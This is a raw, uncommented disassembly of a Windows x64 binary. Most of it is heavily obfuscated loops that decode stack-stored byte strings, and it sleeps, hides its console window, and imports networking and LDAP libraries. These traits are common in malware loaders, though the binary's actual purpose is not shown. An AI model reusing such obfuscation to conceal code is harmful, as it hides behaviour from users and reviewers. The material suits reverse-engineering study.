add dl, cl
add dl, r10b
jmp 0x1400e2818
cmp r8, rcx
jne 0x1400e24b3
movzx ebx, r11b
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2c
jmp 0x1400e27fb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e24df
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400e1df3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e22c2
movzx ebx, r11b
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x76
jmp 0x1400e27ba
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e252f
movzx ebx, r11b
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 9
jmp 0x1400e27ba
inc rax
cmp r8, rax
jne 0x1400e255a
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
inc r9
dec r11
inc r11
jmp 0x1400e1df3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e2580
movzx ebx, r11b
lea ecx, [rbx + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x53
jmp 0x1400e27fb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e25a3
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3f
jmp 0x1400e2818
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e25c6
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2f
jmp 0x1400e281b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e227c
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x79
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e2634
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
inc rax
cmp r8, rax
jne 0x1400e265c
movzx ebx, r11b
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohl
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e270e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e267f
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x56
jmp 0x1400e281b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e26a5
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e2818
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e223f
movzx ebx, r11b
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
jmp 0x1400e27ba
movzx ebx, r11b
lea edx, [rbx - 0x18]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, byte [rbp + r11 + 0x260]
sub cl, al
sub dl, 0x58
add dl, cl
add dl, r10b
jmp 0x1400e27fb
movzx ebx, r11b
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add bl, 0x5b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x7d
add bl, r10b
movzx eax, bl
mov byte [rbp + r11 + 0x260], al
inc r9
add rax, r9
sub r11, rax
jmp 0x1400e284b
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x73
jmp 0x1400e284b
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x69
jmp 0x1400e281b
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x29
jmp 0x1400e2818
movzx ebx, r11b
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x45
jmp 0x1400e27fb
movzx ebx, r11b
lea ecx, [rbx - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x71
add bl, 0x17
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x5f
add bl, r10b
mov byte [rbp + r11 + 0x260], bl
inc r9
dec r11
inc r11
jmp 0x1400e1df3
movzx ebx, r11b
lea ecx, [rbx - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4b
sub bl, 0x47
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0xf
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x260], bl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400e1df3
lea rcx, [r11 + r15]
movzx r10d, bl
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6d
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x34
add cl, r10b
mov byte [rbp + r11 + 0x260], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x25
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
sub r11b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x13
jmp 0x1400e1df0
sub r11b, 0xd
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x5b
jmp 0x1400e1de0
lea rcx, [rbp + 0x16abecc]
jmp 0x1400e2909
lea rcx, [rbp + 0x148639d]
jmp 0x1400e2909
lea rcx, [rbp + 0x260]
call fcn.14003f5a0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rsi, 0xd785ecbb407e02d7
movabs r14, 0x93b55295446e198f
movabs r12, 0x359d9fa842760e33
movabs r15, 0x8691c631c17a0885
movzx edi, byte [rbp + 0x3c0]
nop dword [rax]
call fcn.140021de0
mov qword [rsp + 0x40], 1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400e8700
mov rcx, rax
call fcn.14001d9c0
mov byte [rbp + 0x290], 0xe4
mov byte [rbp + 0x291], 0x88
mov byte [rbp + 0x292], 0x9a
mov byte [rbp + 0x293], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x294], Ordinal_143
mov byte [rbp + 0x295], 0x85
mov byte [rbp + 0x296], 0xec
mov byte [rbp + 0x297], __WSAFDIsSet
mov byte [rbp + 0x298], 0x9d
mov byte [rbp + 0x299], 0xba
mov byte [rbp + 0x29a], 0xa7
mov byte [rbp + 0x29b], 0xb1
mov byte [rbp + 0x29c], 0xc0
mov byte [rbp + 0x29d], 0xa2
mov byte [rbp + 0x29e], 0xb0
mov byte [rbp + 0x29f], 0xa4
mov byte [rbp + 0x2a0], 0xe8
mov byte [rbp + 0x2a1], 0xae
mov byte [rbp + 0x2a2], 0xb0
mov byte [rbp + 0x2a3], 0xac
mov byte [rbp + 0x2a4], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov qword [rbp + 0x2b5], rax
mov word [rbp + 0x2bd], ax
mov r9, qword [0x1402e3348]
mov r10, qword [0x1402e3350]
mov r11, r13
cmp r11, 0x2f
jae 0x1400e357e
movzx eax, byte [rbp + r11 + 0x290]
mov r8, rax
nop dword [rax]
cmp r9, r11
ja 0x1400e3575
lea rcx, [r10 + 1]
cmp r9, rcx
jae 0x1400e2a8c
lea rdx, [r11 + rsi]
mov rcx, rax
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rax
add rdi, rdx
add dil, 0x1f
jmp 0x1400e2ac5
je 0x1400e3509
inc rcx
cmp r9, rcx
je 0x1400e34a9
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400e347a
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x1400e3461
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x1400e3442
cmp r10, r11
ja 0x1400e356c
lea rcx, [r10 + 5]
cmp r9, rcx
jae 0x1400e2aed
lea edx, [r11 - 0x5d]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x75
jmp 0x1400e2b21
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x1400e33fe
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400e33bd
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x1400e33a1
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x1400e3389
lea rcx, [r9 + r10]
cmp rcx, r11
jbe 0x1400e3016
nop
lea rcx, [r10 + 0x28]
cmp r9, rcx
je 0x1400e2ff6
lea rcx, [r10 + 6]
cmp r9, rcx
je 0x1400e2fd4
lea rcx, [r10 + 0x2a]
cmp r9, rcx
je 0x1400e2fb5
lea rcx, [r10 + 0x10]
cmp r9, rcx
je 0x1400e2f95
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x1400e2f73
lea rcx, [r10 + 0x41]
cmp r9, rcx
je 0x1400e2f5a
lea rcx, [r10 + 9]
cmp r9, rcx
je 0x1400e2f38
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x1400e2f19
lea rcx, [r10 + 0x61]
cmp r9, rcx
je 0x1400e2ee8
lea r9, [r10 + 3]
lea r10, [r9 + 0x2a]
lea rcx, [r10 + 0x7a]
cmp r9, rcx
jb 0x1400e3551
lea rcx, [r10 + 0x80]
cmp r9, rcx
jb 0x1400e3536
lea rcx, [r10 + 1]
cmp r9, rcx
jb 0x1400e2cd9
lea rcx, [r10 + 0x1000]
cmp r9, rcx
jb 0x1400e2cc0
lea rcx, [r10 + 0x42]
cmp r9, rcx
jb 0x1400e2ca7
lea rcx, [r10 + 0x5a]
cmp r9, rcx
jb 0x1400e2e99
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
jb 0x1400e2e4b
lea rcx, [r10 + 0x28]
cmp r9, rcx
jb 0x1400e2e03
lea r9, [r10 + 0x40]
lea r10, [r9 + 0x10]
lea rcx, [r10 + 8]
cmp r9, rcx
ja 0x1400e2dd2
lea rcx, [r10 + 0x200]
cmp r9, rcx
ja 0x1400e2db4
lea rcx, [r10 + 0x20]
cmp r9, rcx
ja 0x1400e2d97
lea rcx, [r10 + 5]
cmp r9, rcx
ja 0x1400e2d78
lea rcx, [r10 + 0x64]
cmp r9, rcx
ja 0x1400e2d56
lea rcx, [r10 + 0xa]
cmp r9, rcx
ja 0x1400e2d39
lea rcx, [r10 + 3]
cmp r9, rcx
ja 0x1400e2d1a
lea rcx, [r10 + 0x40]
cmp r9, rcx
ja 0x1400e2cf2
lea rcx, [r10 + 1]
cmp r9, rcx
ja 0x1400e2b30
lea r9, [r10 + 0x41]
lea r10, [r9 + 0x20]
jmp 0x1400e2b30
lea edx, [r11 - 0x43]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x2b
jmp 0x1400e2b21
lea edx, [r11 + 0xf]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x69
jmp 0x1400e2ac5
lea edx, [r11 + 0x61]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
add dil, 0x59
jmp 0x1400e2a56
lea r8d, [r11 + 0x6a]
movzx ecx, r8b
and cl, al
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, al
inc r10
dec r11
inc r11
jmp 0x1400e2a43
lea edx, [r11 - 0x44]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x24
dec r11
inc r11
jmp 0x1400e2a43
lea edx, [r11 + 0xe]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x62
movzx ebx, r11b
jmp 0x1400e33da
lea r8d, [r11 + 0x60]
movzx ecx, r8b
and cl, al
mov edx, Ordinal_50
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, al
add r9, r10
jmp 0x1400e3490
lea r8d, [r11 - 0x4e]
movzx ecx, r8b
and cl, al
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, al
jmp 0x1400e3490
lea edx, [r11 + 4]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x1c
movzx ebx, r11b
jmp 0x1400e335f
lea r8d, [r11 + 0x56]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x5a
add dil, r8b
jmp 0x1400e34c2
lea r8d, [r11 - 0x58]
movzx ecx, al
and cl, r8b
mov edx, 0x34
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
lea r8d, [r11 - 0x39]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x71
add dil, r8b
cmp r10, 4
jb 0x1400e3314
movzx ebx, r11b
lea r8d, [rbx - 0x56]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edx, al
sub dl, cl
add dl, r8b
lea edi, [rdx*2 - 0x4c]
jmp 0x1400e341b
lea r8d, [r11 + 0x19]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x51
add dil, r8b
cmp r9, 0x400
jae 0x1400e3324
lea rcx, [r10 + 0x80]
cmp r9, rcx
jbe 0x1400e323a
lea r8d, [r11 - 0x22]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x12
jmp 0x1400e2e19
lea r8d, [r11 + 0x6b]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x13
add dil, r8b
lea rcx, [r9 + r10]
cmp rcx, 0xa
je 0x1400e334c
lea rcx, [r10 + 6]
cmp r9, rcx
jbe 0x1400e3175
lea r8d, [r11 + 0x3b]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x63
jmp 0x1400e2e61
lea r8d, [r11 - 0x2e]
movzx ecx, al
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
lea r8d, [r11 + 0x24]
movzx ecx, al
and cl, r8b
mov edx, 2
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400e34c2
movzx ebx, r11b
lea r8d, [rbx + 0x76]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x3a
add dil, r8b
jmp 0x1400e335f
lea edx, [r11 - 0x38]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x78
jmp 0x1400e3490
lea r8d, [r11 + 0x1a]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
add r9, r10
jmp 0x1400e3490
movzx ebx, r11b
lea r8d, [rbx + 0x6c]
movzx ecx, al
and cl, r8b
mov edx, 6
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400e33d7
lea edx, [r11 - 0x42]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x32
dec r11
inc r11
jmp 0x1400e2a43
lea edx, [r11 + 0x10]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x70
inc r10
dec r11
inc r11
jmp 0x1400e2a43
lea r8d, [r11 + 0x62]
movzx ecx, al
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
movzx ebx, r11b
jmp 0x1400e3418
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
jae 0x1400e303d
lea r8d, [r11 - 0x29]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x1f
jmp 0x1400e2eaf
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400e3077
lea r8d, [r11 + 0x46]
movzx ecx, al
and cl, r8b
mov edx, ntohl
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
inc rcx
cmp r9, rcx
jne 0x1400e30a1
movzx ebx, r11b
lea r8d, [rbx - 0x5e]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x6e
add dil, r8b
jmp 0x1400e335f
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x1400e30cc
lea r8d, [r11 - 2]
movzx ecx, al
and cl, r8b
mov edx, 7
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
add r9, r10
jmp 0x1400e3490
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400e30f5
movzx ebx, r11b
lea r8d, [rbx - 0x54]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400e33d7
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400e311d
lea edx, [r11 + 0x5a]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x76
dec r11
inc r11
jmp 0x1400e2a43
lea rcx, [r10 + 6]
cmp r9, rcx
jne 0x1400e3148
lea edx, [r11 + 8]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x38
inc r10
dec r11
inc r11
jmp 0x1400e2a43
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x1400e2eb2
movzx ebx, r11b
lea r8d, [rbx - 0x4a]
movzx ecx, al
and cl, r8b
mov edx, 3
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400e3418
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400e319d
movzx ebx, r11b
lea r8d, [rbx - 0x17]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x5f
jmp 0x1400e3418
inc rcx
cmp r9, rcx
jne 0x1400e31c4
lea edx, [r11 + 0x45]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
add dil, 0x1d
dec r11
inc r11
jmp 0x1400e2a43
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400e31e9
lea edx, [r11 - 0x5f]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x67
add r9, r10
jmp 0x1400e3490
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400e320b
lea edx, [r11 + 0x4f]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x29
jmp 0x1400e3490
lea rcx, [r10 + 7]
cmp r9, rcx
jne 0x1400e2e64
movzx ebx, r11b
lea r8d, [rbx - 3]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x15
add dil, r8b
jmp 0x1400e335f
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400e3274
lea r8d, [r11 - 0x74]
movzx ecx, al
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400e3296
lea edx, [r11 - 0x6a]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x1a
jmp 0x1400e3490
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x1400e32bf
movzx ebx, r11b
lea r8d, [rbx - 0xe]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400e33d7
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x1400e32e7
lea edx, [r11 - 0x60]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x60
dec r11
inc r11
jmp 0x1400e2a43
lea rcx, [r10 + 8]
cmp r9, rcx
jne 0x1400e2e1c
movzx ebx, r11b
lea r8d, [rbx - 4]
movzx ecx, al
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400e3418
mov byte [rbp + r11 + 0x290], dil
inc r11
jmp 0x1400e2a43
movzx ebx, r11b
lea r8d, [rbx + 0x58]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, byte [rbp + r11 + 0x290]
sub dil, cl
sub dil, 0x68
add dil, al
jmp 0x1400e33d7
movzx ebx, r11b
lea edx, [rbx + 6]
movzx ecx, al
and cl, dl
add cl, cl
sub dl, cl
lea edi, [rdx - 0x2a]
sub bl, 0x23
movzx ecx, bl
and cl, al
add cl, cl
sub bl, cl
sub bl, 0xb
add bl, al
movzx ecx, bl
mov byte [rbp + r11 + 0x290], cl
inc r10
add rcx, r10
sub r11, rcx
jmp 0x1400e34c2
lea edx, [r11 - 0x49]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
dec dil
jmp 0x1400e3490
lea edx, [r11 + 9]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x3f
add r9, r10
jmp 0x1400e3490
movzx ebx, r11b
lea r8d, [rbx + 0x5b]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x7d
add dil, r8b
add bl, 0x2f
movzx ecx, bl
and cl, al
add cl, cl
sub bl, cl
sub bl, 0x49
add bl, al
add bl, dil
mov byte [rbp + r11 + 0x290], bl
add r9, r10
jmp 0x1400e3490
movzx ebx, r11b
lea r8d, [rbx + 0x51]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x37
add dil, r8b
sub bl, 0x7f
movzx ecx, bl
and cl, al
add cl, cl
sub bl, cl
add bl, 0x79
add bl, al
mov byte [rbp + r11 + 0x290], bl
inc r10
dec r11
inc r11
jmp 0x1400e2a43
lea edx, [r11 - 0x67]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x2f
dec r11
inc r11
jmp 0x1400e2a43
lea edx, [r11 + 0x3d]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
add dil, 0x55
add r9, r10
jmp 0x1400e3490
lea rcx, [r11 + r14]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x17
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400e2a43
lea rdx, [r11 + r12]
movzx eax, r8b
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x65
lea r8d, [r11 - 0x4c]
movzx ecx, r8b
and cl, al
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r8b
add dl, al
mov byte [rbp + r11 + 0x290], dl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
lea rcx, [r11 + r15]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5d
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400e2a43
sub r11b, 0x4d
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea edi, [r11 + rax]
add dil, 0x1b
jmp 0x1400e2a40
add r11b, 5
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea edi, [r11 + rax]
sub dil, 0x23
jmp 0x1400e2a32
lea rdx, [rbp + 0x169eb04]
jmp 0x1400e3585
lea rdx, [rbp + 0x67eddb]
jmp 0x1400e3585
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x1b0]
call fcn.14001edc0
nop
lea rcx, [rbp + 0x1b0]
call fcn.1400cc580
movzx ebx, al
lea rcx, [rbp + 0x1b0]
call fcn.14001ee00
test bl, bl
jne 0x1400e2960
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3